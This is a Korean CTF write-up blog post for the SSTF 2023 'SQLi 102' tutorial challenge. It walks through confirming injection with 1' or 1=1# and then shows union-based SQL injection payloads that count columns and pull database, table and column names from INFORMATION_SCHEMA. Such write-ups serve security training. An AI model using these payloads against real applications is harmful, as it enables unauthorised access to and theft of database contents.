[web] Tutorial - SQLi 102
1. 문제 설명
This is the next lesson of SQLi 101.
2. Writeup
Hint를 통해 페이지 내 소스코드를 제시해주고 있다.
사용자가 Enter Keyword here에 입력한 값이 searchkey 파라미터를 통해 쿼리문으로 들어가게 된다.
1을 keyword로 넣고 검색했더니 다음과 같은 검색 결과가 출력된다.
SQL Injection이 발생하는지 알아보기 위해 1' or 1=1# 을 검색해보았다.
사용자가 입력한 값과 상관없이 모든 데이터가 출력되는것으로 보아 SQL Injection이 가능하다는 사실을 알아낼 수 있었다.
SQL 구문 오류 메시지가 출력되지 않기 때문에 Blind SQL Injection을 수행하였다.
Blind SQL Injeciton 절차
① 컬럼 개수 확인 : union sql injection을 수행하기 위해 컬럼 개수를 확인한다.
UNION을 사용하는 SQL Injection 공격은 두 개 이상의 SQL 쿼리 결과를 하나의 결과로 결합하는 데 사용된다. 그러나 UNION 연산을 성공적으로 수행하기 위해서는 병합하려는 결과 셋의 컬럼 수가 동일해야 한다.
1' union select 1, 2, 3, 4, 5, 6, 7, 8#
② 데이터베이스명 확인
1' union select 1, SCHEMA_NAME, 3, 4, 5, 6, 7, 8 FROM INFORMATION_SCHEMA.SCHEMATA#
③ 테이블명 확인
1' union select 1, TABLE_NAME, 3, 4, 5, 6, 7, 8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli102'#
④ 컬럼명 확인
1' union select 1, COLUMN_NAME, 3, 4, 5, 6, 7, 8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='findme'#
'🚩 CTF Writeup > SSTF 2023' 카테고리의 다른 글
[pwn] Tutorial - BOF102 (0) | 2024.01.10 |
---|---|
[pwn] Tutorial - BOF101 (0) | 2024.01.10 |
[web] Tutorial - SQLi 103 (0) | 2024.01.10 |
[web] Tutorial - SQLi 101 (0) | 2024.01.10 |
[web] Tutorial - XSS101 (0) | 2024.01.10 |
댓글
이 글 공유하기
다른 글
-
[pwn] Tutorial - BOF101
[pwn] Tutorial - BOF101
2024.01.10 -
[web] Tutorial - SQLi 103
[web] Tutorial - SQLi 103
2024.01.10 -
[web] Tutorial - SQLi 101
[web] Tutorial - SQLi 101
2024.01.10 -
[web] Tutorial - XSS101
[web] Tutorial - XSS101
2024.01.10